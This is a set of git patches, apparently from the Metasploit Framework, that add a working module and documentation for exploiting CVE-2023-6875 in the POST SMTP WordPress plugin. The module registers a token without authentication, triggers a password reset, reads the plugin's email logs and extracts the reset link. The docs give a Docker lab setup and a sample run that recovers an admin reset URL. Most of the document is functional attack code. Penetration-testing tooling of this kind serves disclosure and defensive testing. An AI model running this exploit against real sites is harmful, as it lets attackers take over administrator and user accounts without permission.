From 4feb12ab4ab15e5a7bd343af3c25a35a0c3b7a6e Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 16 Jan 2024 06:54:25 -0500 Subject: [PATCH 1/6] untested code --- .../exploit/remote/http/wordpress/users.rb | 17 ++- .../http/wp_post_smtp_account_takeover.rb | 100 ++++++++++++++++++ 2 files changed, 116 insertions(+), 1 deletion(-) create mode 100644 modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb diff --git a/lib/msf/core/exploit/remote/http/wordpress/users.rb b/lib/msf/core/exploit/remote/http/wordpress/users.rb index 75180356aed7..4973a3369d27 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/users.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/users.rb @@ -1,4 +1,3 @@ -# -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::Wordpress::Users # Checks if the given user exists @@ -63,4 +62,20 @@ def wordpress_userid_exists?(user_id) end end + # Performs a password reset for a user + # + # @param user [String] Username + # @return [Boolean] true if the request was successful + def reset_user_password(user) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_login, + 'vars_get' => { 'action' => 'lostpassword' }, + 'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' } + }) + return false if res.nil? + return false unless res.code == 200 + + true + end end diff --git a/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb new file mode 100644 index 000000000000..d842119890eb --- /dev/null +++ b/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress POST SMTP Account Takeover', + 'Description' => %q{ + POST SMTP LMS, a WordPress plugin, + prior to 2.8.7 is affected by a privilege escalation where an unauthenticated + user is able to reset the password of an arbitrary user. + }, + 'Author' => [ + 'h00die', # msf module + 'Ulysses Saicha', # Discovery, POC + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6875'], + ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], + ], + 'DisclosureDate' => '2024-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [true, 'Username to password reset', '']), + ] + ) + end + + def register_token + vprint_status('Registering token') + token = Rex::Text.rand_text_alphanumeric(10..16) + device = Rex::Text.rand_text_alphanumeric(10..16) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable + print_good("Succesfully created token: #{token}") + return token, device + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('post-smtp', '2.8.6') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') + end + + checkcode + end + + def run + fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] + token, device = register_token + fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) + print_status('Requesting logs') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + json_doc = res.get_json_document + # we want the latest email as that's the one with the password reset + doc_id = json_doc['data'][0]['id'] + print_status("Requesting email content from logs for ID #{doc_id}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device }, + 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + # XXX we'll need to process this email and pull out the link, likely a regex. Example from my test: http://1.1.1.1/wp-login.php?action=rp&key=EwDT7OKgZiMPIhinsrhY&login=admin&wp_lang=en_US + puts res.body + end +end From 41ed44864fb2daffcb6acfd07afbf984edc20952 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 29 Oct 2024 16:01:45 -0400 Subject: [PATCH 2/6] wp_post_smtp_acct_takeover --- .../exploit/remote/http/wordpress/users.rb | 1 + .../admin/http/wp_post_smtp_acct_takeover.rb | 116 ++++++++++++++++++ 2 files changed, 117 insertions(+) create mode 100644 modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb diff --git a/lib/msf/core/exploit/remote/http/wordpress/users.rb b/lib/msf/core/exploit/remote/http/wordpress/users.rb index 4973a3369d27..b923c0fcc743 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/users.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/users.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::Wordpress::Users # Checks if the given user exists diff --git a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb new file mode 100644 index 000000000000..ab9ddb6d6448 --- /dev/null +++ b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress POST SMTP Account Takeover', + 'Description' => %q{ + POST SMTP, a WordPress plugin, + prior to 2.8.7 is affected by a privilege escalation where an unauthenticated + user is able to reset the password of an arbitrary user. This is done by + requesting a password reset, then viewing the latest email logs to find + the associated passowrd reset email. + }, + 'Author' => [ + 'h00die', # msf module + 'Ulysses Saicha', # Discovery, POC + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6875'], + ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], + ], + 'DisclosureDate' => '2024-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [true, 'Username to password reset', '']), + ] + ) + end + + def register_token + token = Rex::Text.rand_text_alphanumeric(10..16) + device = Rex::Text.rand_text_alphanumeric(10..16) + vprint_status("Attempting to Registering token #{token} on device #{device}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable + print_good("Succesfully created token: #{token}") + return token, device + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') + end + + checkcode + end + + def run + fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] + token, device = register_token + fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) + print_status('Requesting logs') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + json_doc = res.get_json_document + # we want the latest email as that's the one with the password reset + doc_id = json_doc['data'][0]['id'] + print_status("Requesting email content from logs for ID #{doc_id}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { 'fcm-token' => token, 'device' => device }, + 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + + path = store_loot( + 'wordpress.post_smtp.log', + 'text/plain', + rhost, + res.body, + "#{doc_id}.log" + ) + print_good("Full text of log saved to: #{path}") + # https://rubular.com/r/DDQpKElcH42Qxg + if res.body =~ /(^.*key=.+$)/ + print_good("Reset URL: #{::Regexp.last_match(1)}") + return + end + print_bad('Reset URL not found, manually review log stored in loot.') + end +end From 9da5177d11f41cb52118dbf4924dfb82485798ba Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 29 Oct 2024 16:44:11 -0400 Subject: [PATCH 3/6] remove old code --- data/wordlists/wp-exploitable-plugins.txt | 1 + .../http/wp_post_smtp_account_takeover.rb | 100 ------------------ 2 files changed, 1 insertion(+), 100 deletions(-) delete mode 100644 modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 6ef7ff2785fb..d1bb177ef4af 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -64,3 +64,4 @@ backup-backup hash-form give wp-fastest-cache +post-smtp diff --git a/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb deleted file mode 100644 index d842119890eb..000000000000 --- a/modules/auxiliary/admin/http/wp_post_smtp_account_takeover.rb +++ /dev/null @@ -1,100 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HTTP::Wordpress - prepend Msf::Exploit::Remote::AutoCheck - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Wordpress POST SMTP Account Takeover', - 'Description' => %q{ - POST SMTP LMS, a WordPress plugin, - prior to 2.8.7 is affected by a privilege escalation where an unauthenticated - user is able to reset the password of an arbitrary user. - }, - 'Author' => [ - 'h00die', # msf module - 'Ulysses Saicha', # Discovery, POC - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2023-6875'], - ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], - ], - 'DisclosureDate' => '2024-01-10', - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'SideEffects' => [IOC_IN_LOGS], - 'Reliability' => [] - } - ) - ) - register_options( - [ - OptString.new('USERNAME', [true, 'Username to password reset', '']), - ] - ) - end - - def register_token - vprint_status('Registering token') - token = Rex::Text.rand_text_alphanumeric(10..16) - device = Rex::Text.rand_text_alphanumeric(10..16) - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { 'fcm-token' => token, 'device' => device } - ) - fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable - print_good("Succesfully created token: #{token}") - return token, device - end - - def check - unless wordpress_and_online? - return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') - end - - checkcode = check_plugin_version_from_readme('post-smtp', '2.8.6') - if checkcode == Msf::Exploit::CheckCode::Safe - return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') - end - - checkcode - end - - def run - fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] - token, device = register_token - fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) - print_status('Requesting logs') - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { 'fcm-token' => token, 'device' => device } - ) - fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 - json_doc = res.get_json_document - # we want the latest email as that's the one with the password reset - doc_id = json_doc['data'][0]['id'] - print_status("Requesting email content from logs for ID #{doc_id}") - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { 'fcm-token' => token, 'device' => device }, - 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } - ) - fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 - # XXX we'll need to process this email and pull out the link, likely a regex. Example from my test: http://1.1.1.1/wp-login.php?action=rp&key=EwDT7OKgZiMPIhinsrhY&login=admin&wp_lang=en_US - puts res.body - end -end From 65efd0793599e23ce23029bd3ce5c8362f3b370d Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 30 Oct 2024 15:38:46 -0400 Subject: [PATCH 4/6] docs for wp_post_smtp --- .../admin/http/wp_post_smtp_acct_takeover.md | 105 ++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md new file mode 100644 index 000000000000..e2d1e080b9eb --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -0,0 +1,105 @@ +## Vulnerable Application + +POST SMTP, a WordPress plugin, +prior to 2.8.7 is affected by a privilege escalation where an unauthenticated +user is able to reset the password of an arbitrary user. This is done by +requesting a password reset, then viewing the latest email logs to find +the associated passowrd reset email. + +### Install + +1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content: +``` +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: + +``` +2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up` +3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip` +4. `unzip post-smtp.2.8.6.zip` +5. `docker cp post-smtp :/var/www/html/wp-content/plugins` +6. Complete the setup of wordpress +7. Enable the post-smtp plugin, select "default" for the SMTP service + 1. Complete the setup using random information, it isn't validated. +8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244 + + +## Verification Steps + +1. Install the vulnerable plugin +2. Start msfconsole +3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover` +4. Do: `set rhost 127.0.0.1` +5. Do: `set rport 5555` +6. `set ssl false` +7. `set username ` +8. `set verbose true` +9. `run` +10. Visit the output URL to reset the user's password. + +## Options + +### USERNAME + +The username to perform a password reset against + +## Scenarios + +### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker + +``` +msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 +rport => 5555 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false +ssl => false +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin +username => admin +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true +verbose => true +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run +[*] Running module against 127.0.0.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/post-smtp/readme.txt +[*] Found version 2.8.6 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw +[+] Succesfully created token: fUefO7U12dXtb0DM +[*] Requesting logs +[*] Requesting email content from logs for ID 4 +[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt +[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US +[*] Auxiliary module execution completed +``` \ No newline at end of file From 2b593bcf54f7b064d67a58dd7cc9ee72858cd17f Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 3 Nov 2024 13:52:55 -0500 Subject: [PATCH 5/6] wp_post_smtp_acct_takeover peer review --- .../admin/http/wp_post_smtp_acct_takeover.md | 4 ++-- lib/msf/core/exploit/remote/http/wordpress/users.rb | 3 +-- .../admin/http/wp_post_smtp_acct_takeover.rb | 11 +++++++---- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md index e2d1e080b9eb..dc1a3ce4e821 100644 --- a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -1,10 +1,10 @@ ## Vulnerable Application -POST SMTP, a WordPress plugin, +The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege escalation where an unauthenticated user is able to reset the password of an arbitrary user. This is done by requesting a password reset, then viewing the latest email logs to find -the associated passowrd reset email. +the associated password reset email. ### Install diff --git a/lib/msf/core/exploit/remote/http/wordpress/users.rb b/lib/msf/core/exploit/remote/http/wordpress/users.rb index b923c0fcc743..6b28f2524641 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/users.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/users.rb @@ -74,8 +74,7 @@ def reset_user_password(user) 'vars_get' => { 'action' => 'lostpassword' }, 'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' } }) - return false if res.nil? - return false unless res.code == 200 + return false unless res&.code == 200 true end diff --git a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb index ab9ddb6d6448..e96e6f31cfaa 100644 --- a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb +++ b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb @@ -13,11 +13,11 @@ def initialize(info = {}) info, 'Name' => 'Wordpress POST SMTP Account Takeover', 'Description' => %q{ - POST SMTP, a WordPress plugin, + The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege escalation where an unauthenticated user is able to reset the password of an arbitrary user. This is done by requesting a password reset, then viewing the latest email logs to find - the associated passowrd reset email. + the associated password reset email. }, 'Author' => [ 'h00die', # msf module @@ -55,7 +55,9 @@ def register_token 'headers' => { 'fcm-token' => token, 'device' => device } ) fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 print_good("Succesfully created token: #{token}") return token, device end @@ -107,7 +109,8 @@ def run ) print_good("Full text of log saved to: #{path}") # https://rubular.com/r/DDQpKElcH42Qxg - if res.body =~ /(^.*key=.+$)/ + # example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US + if res.body =~ /^(.*key=.+)$/ print_good("Reset URL: #{::Regexp.last_match(1)}") return end From 1906646e67789072a27c1b8ee046883a35a1abfe Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 28 Nov 2024 13:18:47 -0500 Subject: [PATCH 6/6] peer review --- .../admin/http/wp_post_smtp_acct_takeover.md | 18 +++++++++--------- .../admin/http/wp_post_smtp_acct_takeover.rb | 12 ++++-------- 2 files changed, 13 insertions(+), 17 deletions(-) diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md index dc1a3ce4e821..3ba1a4f01d8c 100644 --- a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -1,10 +1,9 @@ ## Vulnerable Application -The POST SMTP WordPress plugin -prior to 2.8.7 is affected by a privilege escalation where an unauthenticated -user is able to reset the password of an arbitrary user. This is done by -requesting a password reset, then viewing the latest email logs to find -the associated password reset email. +The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege +escalation where an unauthenticated user is able to reset the password +of an arbitrary user. This is done by requesting a password reset, then +viewing the latest email logs to find the associated password reset email. ### Install @@ -51,6 +50,7 @@ volumes: 7. Enable the post-smtp plugin, select "default" for the SMTP service 1. Complete the setup using random information, it isn't validated. 8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244 + 1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes. ## Verification Steps @@ -60,10 +60,10 @@ volumes: 3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover` 4. Do: `set rhost 127.0.0.1` 5. Do: `set rport 5555` -6. `set ssl false` -7. `set username ` -8. `set verbose true` -9. `run` +6. Do: `set ssl false` +7. Do: `set username ` +8. Do: `set verbose true` +9. Do: `run` 10. Visit the output URL to reset the user's password. ## Options diff --git a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb index e96e6f31cfaa..ddf3e61a63bc 100644 --- a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb +++ b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb @@ -13,11 +13,10 @@ def initialize(info = {}) info, 'Name' => 'Wordpress POST SMTP Account Takeover', 'Description' => %q{ - The POST SMTP WordPress plugin - prior to 2.8.7 is affected by a privilege escalation where an unauthenticated - user is able to reset the password of an arbitrary user. This is done by - requesting a password reset, then viewing the latest email logs to find - the associated password reset email. + The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege + escalation where an unauthenticated user is able to reset the password + of an arbitrary user. This is done by requesting a password reset, then + viewing the latest email logs to find the associated password reset email. }, 'Author' => [ 'h00die', # msf module @@ -51,7 +50,6 @@ def register_token res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), - 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'fcm-token' => token, 'device' => device } ) fail_with(Failure::Unreachable, 'Connection failed') unless res @@ -82,7 +80,6 @@ def run print_status('Requesting logs') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), - 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'fcm-token' => token, 'device' => device } ) fail_with(Failure::Unreachable, 'Connection failed') unless res @@ -93,7 +90,6 @@ def run print_status("Requesting email content from logs for ID #{doc_id}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), - 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'fcm-token' => token, 'device' => device }, 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } )